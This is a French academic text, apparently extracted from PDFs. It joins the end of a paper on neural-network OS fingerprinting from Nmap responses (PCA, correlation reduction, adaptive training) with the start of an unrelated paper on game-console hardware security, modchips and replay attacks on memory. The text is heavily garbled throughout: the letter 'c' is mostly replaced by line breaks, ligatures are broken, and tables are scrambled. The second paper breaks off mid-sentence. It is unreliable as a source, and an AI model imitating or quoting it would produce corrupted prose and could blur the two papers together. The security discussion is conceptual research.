
La première question à résoudre est : 
omment traduire la réponse d'une ma
hine en entrées

pour le réseau de neurones ? Nous assignons un ensemble de neurones d'entrée à 
haque test.

Voi
i les détails pour les tests T1 ... T7 :

· un neurone pour le �ag ACK.

· un neurone pour 
haque réponse : S, S++, O.

· un neurone pour le �ag DF.

· un neurone pour la réponse : yes/no.

· un neurone pour le 
hamp Flags.

· un neurone pour 
haque �ag : ECE, URG, ACK, PSH, RST, SYN, FIN (en total 8 neurones).

· 10 groupes de 6 neurones pour le 
hamp Options. Nous a
tivons un seul neurone dans 
haque

groupe suivant l'option - EOL, MAXSEG, NOP, TIMESTAMP, WINDOW, ECHOED - en respe
-

tant l'ordre d'apparition (soit au total 60 neurones pour les options).

· un neurone pour le 
hamp W (window size), qui a pour entrée une valeur hexadé
imale.

Pour les �ags ou les options, l'entrée est 1 ou -1 (présent ou absent). D'autres neurones ont

une entrée numérique, 
omme le 
hamp W (window size), le 
hamp GCD (plus grand 
ommun

diviseur des numéros de séquen
e initiaux) ou les 
hamps SI et VAL des réponses au test Tseq.

Dans l'exemple d'un Linux 2.6.0, la réponse :
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T3(Resp=Y%DF=Y%W=16A0%ACK=S++%Flags=AS%Ops=MNNTNW)

se transforme 
omme indiqué dans le tableau 4. De 
ette façon nous obtenons une 
ou
he d'entrée

ACK S S++ O DF Yes Flags E U A P R S F . . .

1 -1 1 -1 1 1 1 -1 -1 1 -1 -1 1 -1 . . .

Tab. 4. Résultat de la transformation (Linux 2.6.0)

ave
 568 dimensions, ave
 une 
ertaine redondan
e. La redondan
e nous permet de traiter de façon

�exible les réponses in
onnues mais introduit aussi des problèmes de performan
e ! Nous verrons

dans la se
tion suivante 
omment résoudre 
e problème (en réduisant le nombre de dimensions).

Comme pour le module DCE-RPC, les réseaux de neurones sont 
omposés de 3 
ou
hes. Par exemple

le premier réseaux de neurones (le �ltre de pertinen
e) 
ontient : la 
ou
he d'entrée 96 neurones, la


ou
he 
a
hée 20 neurones, la 
ou
he de sortie 1 neurone.

3.4 Génération du jeu de données

Pour entraîner le réseau de neurones nous avons besoin d'entrées (réponses de ma
hines) ave


les sorties 
orrespondantes (OS de la ma
hine). Comme la base de signatures 
ontient 1684 règles,

nous estimons qu'une population de 15000 ma
hines est né
essaire pour entraîner le réseau. Nous

n'avons pas a

ès à une telle population ... et s
anner l'Internet n'est pas une option !

La solution que nous avons adoptée est de générer les entrées par une simulation Monte Carlo.

Pour 
haque règle, nous générons des entrées 
orrespondant à 
ette règle. Le nombre d'entrées

dépend de la distribution empirique des OS basée sur des données statistiques. Quand la règle

spé
i�e une 
onstante, nous utilisons 
ette valeur, et quand la règle spé
i�e des options ou un

intervalle de valeurs, nous 
hoisissons une valeur en suivant une distribution uniforme.

4 Rédu
tion des dimensions et entraînement

4.1 Matri
e de 
orrélation

Lors du design de la topologie des réseaux, nous avons été généreux ave
 les entrées : 568 dimen-

sions, ave
 une redondan
e importante. Une 
onséquen
e est que la 
onvergen
e de l'entraînement

est lente, d'autant plus que le jeu de données est très grand. La solution à 
e problème fut de ré-

duire le nombre de dimensions. Cette analyse nous permet aussi de mieux 
omprendre les éléments

importants des tests utilisés.

Le premier pas est de 
onsidérer 
haque dimension d'entrée 
omme une variable aléatoireXi (1 ≤
i ≤ 568). Les dimensions d'entrée ont des ordres de grandeur di�érents : les �ags prennent 
omme

valeur 1/-1 alors que le 
hamp ISN (numéro de séquen
e initial) est un entier de 32 bits. Nous évitons

au réseau de neurones d'avoir à apprendre à additionner 
orre
tement 
es variables hétérogènes en

normalisant les variables aléatoires (en soustrayant la moyenne µ et en divisant par l'é
art type σ) :

Xi − µi

σi
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Puis nous 
al
ulons la matri
e de 
orrélation R, dont les éléments sont :

Ri,j =
E[(Xi − µi)(Xj − µj)]

σi σj

Le symbole E désigne l'espéran
e mathématique. Puisqu'après avoir normalisé les variables, µi = 0
et σi = 1 pour tout i, la matri
e de 
orrélation est simplement Ri,j = E[Xi Xj ].

La 
orrélation est une mesure de la dépendan
e statistique entre deux variables (une valeur

pro
he de 1 ou -1 indique une plus forte dépendan
e). La dépendan
e linéaire entre des 
olonnes

de R indique des variables dépendantes, dans 
e 
as nous en gardons une et éliminons les autres,

puisqu'elles n'apportent pas d'information additionnelle. Les 
onstantes ont une varian
e nulle et

sont aussi éliminées par 
ette analyse.

Voyons le résultat dans le 
as des systèmes OpenBSD. Nous reproduisons 
i-dessous les extraits

des signatures de deux OpenBSD di�érents, où les 
hamps qui survivent à la rédu
tion de la matri
e

de 
orrélation sont marqués en italiques.

Fingerprint OpenBSD 3.6 (i386)

Class OpenBSD | OpenBSD | 3.X | general purpose

T1(DF=N % W=4000 % ACK=S++ % Flags=AS % Ops=MNWNNT)

T2(Resp=N)

T3(Resp=N)

T4(DF=N % W=0 % ACK=O %Flags=R % Ops=)

T5(DF=N % W=0 % ACK=S++ % Flags=AR % Ops=)

Fingerprint OpenBSD 2.2 - 2.3

Class OpenBSD | OpenBSD | 2.X | general purpose

T1(DF=N % W=402E % ACK=S++ % Flags=AS % Ops=MNWNNT)

T2(Resp=N)

T3(Resp=Y % DF=N % W=402E % ACK=S++ % Flags=AS % Ops=MNWNNT)

T4(DF=N % W=4000 % ACK=O % Flags=R % Ops=)

T5(DF=N % W=0 % ACK=S++ % Flags=AR % Ops=)

Par exemple, pour le test T1, les seuls 
hamps qui varient sont W et les deux premières options,

les autres sont 
onstants dans toutes les versions de OpenBSD. Autre exemple, pour le test T4 seul

W est sus
eptible de varier, et le test T5 n'apporte dire
tement au
une information sur la version

de OpenBSD examinée.

La table 2 montre la liste 
omplète des 
hamps qui servent à distinguer les di�érentes versions

d'OpenBSD. Comme nous l'avons dit, le test T5 n'apparaît pas, alors que les tests Tseq et PU


onservent de nombreuses variables, 
e qui nous montre que 
es deux tests sont les plus dis
riminatifs

au sein de la population OpenBSD.

4.2 Analyse des Composants Prin
ipaux

Une rédu
tion ultérieure des données utilise l'Analyse des Composants Prin
ipaux (ACP). L'idée

est de 
al
uler une nouvelle base (ou système de 
oordonnées) de l'espa
e d'entrée, de telle manière

que la majeure varian
e de toute proje
tion du jeu de données dans un sous-espa
e de k dimensions,

provient de projeter sur les k premiers ve
teurs de 
ette base.

L'algorithme ACP 
onsiste à :

· 
al
uler les ve
teurs propres et valeurs propres de R.
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Index An
ien index Nom du 
hamp

0 20 T1 : TCP OPT 1 EOL

1 26 T1 : TCP OPT 2 EOL

2 29 T1 : TCP OPT 2 TIMESTAMP

3 74 T1 : W FIELD

4 75 T2 : ACK FIELD

5 149 T2 : W FIELD

6 150 T3 : ACK FIELD

7 170 T3 : TCP OPT 1 EOL

8 179 T3 : TCP OPT 2 TIMESTAMP

9 224 T3 : W FIELD

10 227 T4 : SEQ S

11 299 T4 : W FIELD

12 377 T6 : SEQ S

13 452 T7 : SEQ S

14 525 TSeq : CLASS FIELD

15 526 TSeq : SEQ TD

16 528 TSeq : SEQ RI

17 529 TSeq : SEQ TR

18 532 TSeq : GCD FIELD

19 533 TSeq : IPID FIELD

20 535 TSeq : IPID SEQ BROKEN INCR

21 536 TSeq : IPID SEQ RPI

22 537 TSeq : IPID SEQ RD

23 540 TSeq : SI FIELD

24 543 TSeq : TS SEQ 2HZ

25 546 TSeq : TS SEQ UNSUPPORTED

26 555 PU : UCK RID RIPCK EQ

27 558 PU : UCK RID RIPCK ZERO

28 559 PU : UCK RID RIPCK EQ

29 560 PU : UCK RID RIPCK FAIL

30 563 PU : UCK RID RIPCK EQ

31 564 PU : UCK RID RIPCK FAIL

32 565 PU : RIPTL FIELD

33 566 PU : TOS FIELD

Tab. 5. Champs qui permettent de distinguer les OpenBSD
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· trier les ve
teurs par valeur propre dé
roissante.
· garder les k premiers ve
teurs pour projeter les données.

· le paramètre k est 
hoisi pour maintenir au moins 98% de la varian
e totale.

Après avoir réalisé l'ACP nous avons obtenu les topologies suivantes pour les réseaux de neurones

(la taille de la 
ou
he d'entrée originale était de 568 dans tous les 
as) : Pour 
on
lure l'exemple de

Analyse Cou
he d'entrée Cou
he d'entrée Cou
he Cou
he

(après rédu
tion (après ACP) 
a
hée de sortie

de la matri
e R)

Pertinen
e 204 96 20 1

Famille d'OS 145 66 20 6

Linux 100 41 18 8

Solaris 55 26 7 5

OpenBSD 34 23 4 3

OpenBSD, à partir des 34 variables qui ont survé
u à la rédu
tion de la matri
e de 
orrélation, il

est possible de 
onstruire une nouvelle base de 23 ve
teurs. Les 
oordonnées dans 
ette base sont

les entrées du réseau, la 
ou
he 
a
hée ne 
ontient que 4 neurones et la 
ou
he de sortie 3 neurones

(
ar nous distinguons 3 groupes de versions d'OpenBSD). Une fois que l'on sait qu'une ma
hine est

un OpenBSD, le problème de re
onnaître la version est beau
oup plus simple et borné, et peut être

a

ompli par un réseau de neurones de petite taille (plus e�
ient et rapide).

4.3 Taux d'apprentissage adaptatif

C'est une stratégie pour a

élérer la 
onvergen
e de l'entraînement. Le taux d'apprentissage est

le paramètre λ qui intervient dans les formules d'apprentissage par rétropropagation. Etant donnée

une sortie du réseau, nous pouvons 
al
uler une estimation de l'erreur quadratique

∑n

i=1(yi − vi)
2

n

où yi sont les sorties re
her
hées et vi sont les sorties du réseau.

Après 
haque génération (
'est-à-dire après avoir fait les 
al
uls pour toutes les paires d'entrée

/ sortie), si l'erreur est plus grande, nous diminuons le taux d'apprentissage. Au 
ontraire, si l'er-

reur est plus petite, alors nous augmentons le taux d'apprentissage. L'idée est de se dépla
er plus

rapidement si nous allons dans la dire
tion 
orre
te. Voi
i deux graphiques (�gures 4.3 et 4.3) qui

montrent l'évolution de l'erreur quadratique moyenne en fon
tion du nombre de générations pour


haque stratégie. Lorsque le taux d'apprentissage est �xe, l'erreur diminue et atteint des valeurs

satisfaisantes après 4000 ou 5000 générations. L'erreur a une 
laire tendan
e à la baisse (les résultats

sont bons) mais ave
 des pi
s irréguliers, dus à la nature probabiliste de l'entraînement du réseau.

En utilisant un taux d'apprentissage adaptatif, nous obtenons au début un 
omportement plus


haotique, ave
 des niveaux d'erreur plus hauts. Mais une fois que le système trouve la dire
tion


orre
te, l'erreur 
hute rapidement pour atteindre une valeur très faible et 
onstante après 400

générations. Ces résultats sont 
lairement meilleurs et permettent d'a

élérer l'entraînement des

réseaux.
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Fig. 2. Taux d'apprentissage �xe

4.4 Entraînement par sous-ensembles du jeu de données

C'est une autre stratégie pour a

élérer la 
onvergen
e de l'entraînement. Elle 
onsiste à en-

traîner le réseau ave
 plusieurs sous-ensembles plus petits du jeu de données. Ce
i permet aussi de

résoudre des problèmes de limitation d'espa
e, par exemple lorsque le jeu de données est trop grand

pour être 
hargé entier en mémoire.

Pour estimer l'erreur 
ommise après avoir utilisé un sous-ensemble, nous 
al
ulons une mesure

d'adéquation G. Si la sortie est 0/1 :

G = 1− (Pr[ faux positif ] + Pr[ faux négatif ])

Pour d'autres type de sorties, G est simplement :

G = 1− nombre d'erreurs/nombre de sorties.

A nouveau, nous utilisons une stratégie de taux d'apprentissage adaptatif. Si la mesure d'adéquation

G augmente, alors nous augmentons le taux d'apprentissage initial (pour 
haque sous-ensemble).

Nous reproduisons 
i-dessous le résultat de l'exé
ution du module 
ontre une ma
hine Solaris 8.

Le système 
orre
t est re
onnu ave
 pré
ision.

Relevant / not relevant analysis

0.99999999999999789 relevant

Operating System analysis

-0.99999999999999434 Linux
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Fig. 3. Taux d'apprentissage adaptatif

0.99999999921394744 Solaris

-0.99999999999998057 OpenBSD

-0.99999964651426454 FreeBSD

-1.0000000000000000 NetBSD

-1.0000000000000000 Windows

Solaris version analysis

0.98172780325074482 Solaris 8

-0.99281382458335776 Solaris 9

-0.99357586906143880 Solaris 7

-0.99988378968003799 Solaris 2.X

-0.99999999977837983 Solaris 2.5.X

5 Con
lusion et idées pour le futur

Dans 
e travail, nous avons vu que l'une des prin
ipales limitations des te
hniques 
lassiques

de déte
tion des systèmes d'exploitation réside dans l'analyse des données re
ueillies par les tests,

basée sur quelque variation de l'algorithme de � best �t � (
her
her le point le plus pro
he en

fon
tion d'une distan
e de Hamming).

Nous avons vu 
omment générer et réunir l'information à analyser, 
omment homogénéiser les

données (normaliser les variables d'entrée) et surtout 
omment dégager la stru
ture des données

d'entrée. C'est l'idée prin
ipale de notre appro
he, qui motive la dé
ision d'utiliser des réseaux
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de neurones, de diviser l'analyse en plusieurs étapes hiérar
hiques, et de réduire le nombre de di-

mensions d'entrée. Les résultats expérimentaux (de notre laboratoire) montrent que 
ette appro
he

permet d'obtenir une re
onnaissan
e plus �able des systèmes d'exploitation.

De plus, la rédu
tion de la matri
e de 
orrélation et l'analyse en 
omposantes prin
ipales, intro-

duits en prin
ipe pour réduire le nombre de dimensions et améliorer la 
onvergen
e de l'entraîne-

ment, nous donnent une méthode systématique pour analyser les réponses des ma
hines aux stimuli

envoyés. Cela nous a permis de dégager les éléments 
lefs des tests de Nmap, voir par exemple

la table des 
hamps permettant de distinguer les di�érentes versions d'OpenBSD. Une appli
ation

de 
ette analyse serait d'optimiser les tests de Nmap pour générer moins de tra�
. Une autre ap-

pli
ation plus ambitieuse serait de 
réer une base de données ave
 les réponses d'une population

représentative de ma
hines à une vaste batterie de tests (
ombinaisons de di�érents types de pa-

quets, ports et �ags). Les mêmes méthodes d'analyse permettraient de dégager de 
ette vaste base

de données les tests les plus dis
riminatifs pour la re
onnaissan
e d'OS.

L'analyse que nous proposons peut aussi s'appliquer à d'autres méthodes de déte
tion :

1. Xprobe2, d'O�r Arkin, Fyodor & Meder Kydyraliev, qui base la déte
tion sur des tests ICMP,

SMB, SNMP.

2. Passive OS Identi�
ation (p0f) de Mi
hal Zalewski, méthode qui a l'avantage de ne pas générer

de tra�
 additionnel. C'est un dé� intéressant, 
ar l'analyse porte sur un volume de données

plus important (tout le tra�
 sni�é), et requiert sans doute des méthodes plus dynamiques et

évolutives.

3. Déte
tion d'OS basée sur l'information fournie par le portmapper SUN RPC, permettant de

distinguer des systèmes Sun, Linux et autres versions de System V.

4. Réunion d'information pour le versant 
lient-side des tests de pénétration, en parti
ulier pour

déte
ter les versions d'appli
ations. Par exemple déte
ter les Mail User Agents (MUA) tels que

Outlook ou Thunderbird, en utilisant les Mail Headers.

Une autre idée pour le futur est d'ajouter du bruit et le �ltre d'un �rewall aux données étudiées.

Ce
i permettrait de déte
ter la présen
e d'un �rewall, d'identi�er di�érents �rewalls et de faire des

tests plus robustes.
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Résumé La sé
urité matérielle est devenue une préo

upation importante pour les fabri
ants

de 
onsoles de jeux depuis une dizaine d'années. Cet aspe
t de la 
on
eption des systèmes

éle
troniques est bien 
onnu dans les domaines ban
aires et militaires. Cependant les ensei-

gnements tirés de l'expérien
e ban
aire ou militaire ne peuvent s'appliquer que de façon très

limitée dans le 
ontexte des 
onsoles de jeux vidéos. En e�et, la sé
urisation physique d'une


onsole est bien plus 
omplexe que 
elle d'une 
arte à pu
e. De plus, toute la 
on
eption

d'une 
onsole de jeux est orientée vers la performan
e (prix et vitesse). Les algorithmes et

les proto
oles 
ryptographiques introduisent des pertes signi�
atives de performan
e. Nous

verrons que les mé
anismes mis en pla
e par les fabri
ants de 
onsole de jeux ont 
onnu des

fortunes diverses. Nous aborderons un 
ertain nombre de failles qui ont permis aux attaquants

de 
ontourner toutes les mesures de prote
tion grâ
e aux mod
hips.

1 Introdu
tion

La sé
urité matérielle doit garantir l'intégrité d'un système 
ontre des sondes physiques. Cette

propriété est 
apitale pour les systèmes d'information ban
aires ou militaires, 
'est pourquoi les

investigations en sé
urité matérielle se sont restreintes à 
es deux domaines. Cependant l'avène-

ment des réseaux haut débit et les avan
ées dans le domaine du multimédia et de la répli
ation

ont engendré de nouvelles problématiques en sé
urité. La prin
ipale problématique est devenu la

lutte 
ontre le piratage. Pour empê
her les 
opies illi
ites, les produ
teurs de 
ontenu ont essayé

de renfor
er la sé
urité des supports d'exé
ution. C'est parti
ulièrement vrai pour l'industrie du

jeu vidéo, qui sou�re depuis longtemps de 
e problème. Les fabri
ants de 
onsoles tentent depuis

de nombreuses années de modi�er le support d'exé
ution et le support des jeux a�n d'empê
her

l'exé
ution des médias illi
ites.

Les problématiques matérielles ren
ontrées dans les 
onsoles de jeux sont très di�érentes des sys-

tèmes habituellement traités en sé
urité matérielle. En e�et, les domaines ban
aires ou militaires

peuvent se permettre d'employer des System On Chip (SOC) sé
urisés. Ces équipements permettent

d'intégrer dans un 
omposant sé
urisé de la mémoire ainsi que de la puissan
e de 
al
ul. C'est le 
as

par exemple des 
artes à pu
e. Les performan
es de 
es systèmes sont relativement modestes et leur


oût d'intégration peut être important. Ce
i est 
lairement en 
ontradi
tion ave
 les 
ontraintes de


on
eption d'une 
arte mère de 
onsole. La puissan
e et le 
oût sont déterminants dans le su

ès

d'une 
onsole. Les obje
tifs sé
uritaires que l'on désire atteindre pour les 
onsoles sont di�érents de


eux du domaine ban
aire. Il y une grande di�éren
e entre protéger des transa
tions ban
aires (haut
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niveau de sé
urité) et protéger une 
onsole de jeu. Le but des fabri
ants n'est pas la sé
urité in
on-

ditionnelle mais un 
ompromis entre le 
oût de sé
urisation et le 
oût de piratage. Le mé
anisme

de sé
urité idéal pour un fabri
ant rendrait le piratage marginal en obligeant l'attaquant pour le


asser à employer des équipements relativement onéreux. A l'heure a
tuelle, le 
oût de piratage est

relativement modeste, il 
onsiste prin
ipalement en un mod
hip dont la valeur 
orrespond à 
elle

d'un FPGA bas de gamme (1-10 dollars).

L'obje
tif de 
e do
ument est de présenter 
ertains aspe
ts de la sé
urité lié au pro
esseur. Dans

une première partie, nous étudierons les �ux de 
ommuni
ation en dire
tion du pro
esseur. Nous

verrons 
omment les mod
hips peuvent leurrer les pro
esseurs et permettre l'exé
ution de 
opies

pirates. Ensuite, nous verrons 
omment les mé
anismes d'optimisation intégrés dans les pro
esseurs

peuvent mettre en péril la sé
urité des systèmes en 
réant des 
anaux 
a
hés ou en provoquant des

fuites d'informations.

2 Analyse du Mod
hiping

Un mod
hip est un équipement matériel 
apable de 
ontourner les sé
urités des 
onsoles. Histo-

riquement, les mod
hips étaient 
onçus pour 
ontourner les restri
tions de zonage. Cependant, il n'a

pas fallu attendre longtemps avant de voir des mod
hips permettant l'exé
ution de 
opies illi
ites

ou de détourner l'utilisation des 
onsoles. Le niveau te
hnologique des mod
hips est très élevé. Ce
i

vient prin
ipalement du fait que les pro
essus de produ
tion sont pro
hes des pro
essus industriels.

Pour 
omprendre 
omment fon
tionnent les mod
hips, nous allons étudier l'ar
hite
ture générique

d'une 
onsole (Figure 1).

Support d’exécution

FSB
Bus de données

Sondes

Bus de capteurs

Bus

Modchips

Controleur

Processeur

Mémoire

L
ec

te
u

r

du jeu

Support

ROM

Softmod

FLASH

Fig. 1. Ar
hite
ture générique d'une 
onsole de jeu

La Figure 1 nous montre que les 
ontraintes de performan
e sont le 
÷ur du problème en

sé
urité matérielle. En e�et, on ne voit au
un 
omposant dédié à la sé
urité 
omme par exemple le


hi�rement des bus. Cette observation n'est plus 
omplètement vraie ave
 les 
onsoles de dernière

génération puisque qu'elles disposeront toutes du Trusted Platform Module [3℄. Nous allons nous
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on
entrer sur les premiers mé
anismes de sé
urité des 
onsoles. L'implantation de 
es mé
anismes

est purement logi
ielle, 
'est à dire qu'il s'agit de faire exé
uter du 
ode au pro
esseur prouvant

l'intégrité du support du jeu. Cette véri�
ation est faite à l'insertion du jeu et elle est 
onstituée

de deux éléments :

� un signal émis par le le
teur lors de l'insertion du jeu. Ce signal peut 
orrespondre à une signature

pla
ée sur le média du jeu. Cette signature ne doit pas être reprodu
tible et ne peut être 
al
ulée

que par des éditeurs de jeu agréés (signature type RSA). Le signal traverse les bus, pour atteindre

le pro
esseur qui sera 
apable de véri�er la présen
e d'une signature valide. A 
e signal d'intégrité,

on asso
ie un 
ertain nombre de signaux annexes 
omme la déte
tion d'un support, la fermeture

du boîtier de le
ture. . .

� une 
on�guration parti
ulière du pro
esseur (bootload) qui permet la véri�
ation du signal émis

par le support du jeu. Cette 
on�guration 
onsiste prin
ipalement dans le 
hargement du sys-

tème d'exploitation de la 
onsole. Le 
hargement du bootload doit être rapide, 
e
i impose des


ontraintes fortes sur le type de mémoire à employer pour le sto
ker (ROM, FLASH. . . ) [8℄.

On peut remarquer que 
ette phase de véri�
ation fait intervenir tous les 
omposants du système

(mis à part la mémoire 
entrale). Cette 
ara
téristique est en 
ontradi
tion ave
 les prin
ipes de

développement d'un système sé
urisé. En e�et, la quantité de 
ommuni
ation 
roît ave
 le nombre

de parti
ipants 
e qui signi�e que le volume de données 
ritiques qui doit 
ir
uler sur les bus sera

d'autant plus important. Un point de vue pragmatique de la sé
urité matérielle voudrait que les

données 
ritiques soient manipulées le moins possible. C'est dans 
ette perspe
tive que sont em-

ployés les SOC dans le milieu ban
aire 
ar ils éliminent 
ertains transferts d'information sur des bus

extérieurs. Pour une 
onsole, un SOC permettrait de lier le pro
esseur et le bootload de manière

immuable, empê
hant ainsi toute modi�
ation par un pirate du bootload. L'ajout de 
e type de

matériel ne serait malheureusement pas su�sant pour garantir l'intégrité d'un média. Les signaux

en provenan
e des périphériques peuvent être détournés par l'attaquant.

Nous allons maintenant détailler les attaques possibles 
ontre la phase de bootload et prin
ipale-

ment détailler les attaques de rejeu. Ensuite, nous détaillerons les attaques 
ontre la 
haîne relayant

le signal émis par le support du jeu.

2.1 Attaques 
ontre le bootload

L'initialisation d'un pro
esseur 
onsiste à 
harger un bootload depuis un 
omposant mémoire.

Comme tout logi
iel 
omplexe, le bootload est appelé à évoluer (
orre
tif, nouvelle version. . . ). Cette


ondition impose que la mémoire puisse être réé
rite. Il faut aussi que la programmation initiale

du 
omposant mémoire soit simple (impératif é
onomique). Les mémoires FLASH sont tout à fait

désignées pour 
e type de tâ
he 
ar leur utilisation est très �exible. Dans un système sé
urisé, le


hargement du bootload a un aspe
t 
ritique. En e�et, si un attaquant est 
apable de modi�er le

bootload, alors il peut 
on�gurer le pro
esseur pour son propre intérêt. L'attaquant peut modi�er

le bootload en exploitant une faille logi
ielle (softmodding) ou en re
on�gurant physiquement le


omposant mémoire. Dans 
e 
ontexte, les mémoires FLASH ont le désavantage d'être fa
iles à

extraire et fa
iles à modi�er. Le bootload pirate peut permettre d'éliminer la phase de véri�
ation

ou d'engendrer une réponse toujours positive lors du test du support du jeu. Pour palier 
e problème,


ertains 
onstru
teurs ont 
hoisi d'employer une mémoire ROM qui va 
ontenir le 
ode permettant

de véri�er l'intégrité d'une mémoire FLASH (Figure 2). L'intérêt d'employer une mémoire ROM
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est qu'elle est beau
oup plus di�
iles à extraire. L'intégrité de la mémoire FLASH est garantie

par le 
hi�rement et le ha
hage. Le 
ontenu de la mémoire ROM 
onsiste don
 prin
ipalement en

un algorithme de 
hi�rement symétrique (dé
hi�rement) et une fon
tion de ha
hage. Lors de la

véri�
ation, le 
ontenu de la mémoire FLASH sera dé
hi�ré ave
 la 
lef du pro
esseur et les ha
hés

véri�és.

Temps
Chargement Vérification Chargement Vérification

SupportFLASHFLASHROM

Fig. 2. Phase de véri�
ation d'un support de jeu

L'ajout de la ROM oblige l'attaquant à forger un bootload 
onforme aux algorithmes de véri�-


ation. L'analyse de la ROM peut lui fournir l'algorithme employé pour le dé
hi�rement [4℄ mais

il a aussi besoin de la 
lef de dé
hi�rement. Andrew Huang a démontré dans [4℄ que 
ette 
lef ne

devait en au
un 
as 
ir
uler en 
lair sur un bus. En e�et, une sonde peut très bien espionner le bus

durant la phase de véri�
ation de la mémoire FLASH et ainsi inter
epter la 
lef.

Ce s
héma de bootload emploie les mêmes mé
anismes de véri�
ation (
hi�rement et ha
hage)

que le système XOM [7℄. Malheureusement, le 
hi�rement et le ha
hage ne permettent pas d'empê-


her les attaques de rejeu.

2.2 Aspe
t théorique : les attaques de rejeu

Le rejeu est une attaque 
lassique en 
ryptographie. On 
onsidère un 
anal de transmission par

lequel deux parti
ipants (Ali
e et Bob) veulent 
ommuniquer de façon sûre malgré la présen
e d'un

espion (Eve). Pour 
ela, Ali
e et Bob peuvent se mettre d'a

ord pour employer un algorithme de


hi�rement symétrique E et pour 
hoisir une 
lef se
rète k qu'ils partagent tous les deux (je ne


onsidère pas i
i les problèmes d'authenti�
ation qui sont bien 
onnus). L'algorithme étant sûr,

et Eve n'ayant pas la 
onnaissan
e de la 
lef, elle n'est pas 
apable de 
onnaître le 
ontenu des

messages. Pour Eve, une attaque par rejeu (Figure 3) 
onsiste, pour une séquen
e de messages

mi entre Ali
e et Bob, à enregistrer les 
ommuni
ations puis à e�a
er 
ertaines réponses de Bob

(respe
tivement d'Ali
e) et à les rempla
er par des messages de Bob (Ali
e) qu'elle a enregistrés.

Ali
e Canal Eve Bob

y1 = Ek(m1) Ali
e → Bob - m1 = Dk(y1)
m2 = Dk(y2) Ali
e ← Bob enregistre y2 y2 = Ek(m2)
y3 = Ek(m3) Ali
e → Bob - m3 = Dk(y3)
m2 = Dk(y2) Ali
e ← Eve renvoi y2 y4 = Ek(m4)

Fig. 3. Exemple d'attaque par rejeu
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La solution 
lassique en 
ryptographie 
onsiste à employer des numéros de trame (initial value)

valides pendant la durée d'une transmission donnée (Figure 4). Quand Ali
e envoie le message

mi, elle le 
hi�re ave
 E qui est initialisé ave
 la 
lef se
rète et un numéro de trame ti grâ
e

à la fon
tion f . Le numéro de trame de 
haque parti
ipant (tA,i et tB,j) est in
rémenté après


haque transmission, et les numéros de trame de départ doivent être dé
idés par les parti
ipants.

Cette solution est implantée grâ
e au mode 
ompteur (CTR) d'un algorithme de 
hi�rement à 
lef

se
rète.

Ali
e Canal Eve Bob

y1 = Ef(k,tA,0)(m1) Ali
e → Bob - m1 = Df(k,tA,0)(y1)

m2 = Df(k,tB,0)(y2) Ali
e ← Bob enregistre y2 y2 = Ef(k,tB,0)(m2)

y3 = Ef(k,tA,1)(m3) Ali
e → Bob - m3 = Df(k,tA,1)(y3)

Df(k,tB,1)(y2) 6= Df(k,tB,0)(y2) Ali
e ← Eve renvoi y2 y4 = Ef(k,tB,1)(m4)

Fig. 4. Déte
tion du rejeu ave
 les numéros de trame

Dans le s
énario pré
édent, on disposait de deux parties ayant une puissan
e de 
al
ul équiva-

lente. La modélisation des intera
tions pro
esseur - bus - mémoire est 
omplètement di�érente. En

e�et, le seul 
omposant a
tif de 
e s
énario est le pro
esseur. La véri�
ation des a

ès mémoire a

été introduite par Blum et al. [1℄. L'obje
tif de Blum et al. était de dé
rire les mé
anismes à in
lure

dans un pro
esseur pour véri�er une mémoire et le tra�
 sur les bus lorsqu'un attaquant dispose

du 
ontr�le total de 
es deux 
omposants (Figure 5).

Zone sur

Processeur Memoire

Bus

Fig. 5. Pro
esseur : modèle de sé
urité

Pour se faire, on peut dé
rire les a
tions du pro
esseur 
omme une séquen
e d'ordre de le
-

ture/é
riture (load(di)/store(di)) à une adresse donnée di. La mémoire quant à elle peut faire des

é
ritures ou renvoyer une donnée (send(di)). L'attaquant peut modi�er le 
ontenu des mémoires ou

inter
epter tout 
e qui transite sur le bus. L'attaquant se 
omporte 
omme dans une attaque man

in the middle. Dans 
e 
ontexte, on peut représenter le problème du rejeu (Figure 6). Pour ne pas

sur
harger la notation, le 
hi�rement des données est impli
ite dans notre s
héma.

Pour éliminer 
e type d'attaque, on peut tout à fait employer des numéros de trame 
omme dans

le 
adre d'un 
anal de transmission 
lassique. Ainsi on aura un numéro de trame 
orrespondant

pour 
haque adresse de la mémoire. Cette méthode est malheureusement très 
oûteuse en mémoire.

En e�et, pour 
haque adresse de la mémoire, le pro
esseur doit sto
ker en interne le numéro de

trame 
orrespondant. Par exemple, si on prend des numéros de trame de longueur 64-bits, ave
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Pro
esseur Bus Attaquant Mémoire

store(d1) Pro
esseur → Mémoire store(d1) store(d1)

store(d2) Pro
esseur → Mémoire store(d2) store(d2)

load(d1) Pro
esseur → Mémoire - -

- Pro
esseur ← Mémoire - send(d1)

store(d′

1) Pro
esseur → Mémoire - store(d′

1)

load(d′

1) Pro
esseur → Attaquant - -

- Pro
esseur ← Attaquant send(d1) -

Fig. 6. Combinaison Man In The Middle et attaque de rejeu

10Ko de numéros de trame on peut protéger seulement 1280 adresses mémoire.

La solution proposée par Blum et al. [1℄ 
onsidère le 
as où le pro
esseur a pu exé
uter au moins

une fois de façon sûre la séquen
e de le
ture/é
riture. Il peut ainsi 
onstruire une signature du

programme à partir de tous les ordres donnés à la mémoire. Pour véri�er un ordre, le pro
esseur

devra dans un premier temps re
al
uler la signature en entier pour 
haque ordre donné à la mémoire.

Puis, le pro
esseur réalise la 
omparaison entre la signature re
al
ulée et la signature d'origine. Cette

solution impose de sto
ker la signature sur une zone mémoire protégée. Le s
héma de signature

proposé par Blum et al. repose sur les arbres de Merkle (Figure 7). La ra
ine de l'arbre 
onstitue

la signature et les feuilles représentent l'ensemble des transa
tions que l'on désire protéger. Les

n÷uds pères des feuilles sont 
al
ulés à partir des feuilles grâ
e à une fon
tion de ha
hage h. En
terme de rajout matériel, la solution de Blum et al. est prati
able si on peut rajouter de la mémoire

sé
urisée dans le pro
esseur et si on peut rajouter une fon
tion de ha
hage. La question du 
hoix

de la fon
tion de ha
hage est ouverte. En e�et les propositions d'implantation de se s
héma ont

toutes re
ours aux fon
tions de ha
hage 
ryptographique qui ont des 
oûts de réalisation matérielle

rédhibitoires.

Fig. 7. Un arbre de Merkle
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L'a

roissement du tra�
 sur les bus est l'aspe
t qui pénalise le plus 
ette solution. En e�et,

pour remonter dans l'arbre de signature, on doit a

éder à toutes les feuilles. Pour une séquen
e de

n ordres à la mémoire, on aura n2
transa
tions sur le bus 
e qui est tout simplement ina

eptable en

terme de performan
e. Un 
ompromis plus a

eptable 
onsiste à sto
ker dans la mémoire prin
ipale,

les feuilles et tous les n÷uds pères à l'ex
eption de la ra
ine. Ce
i permet de re
al
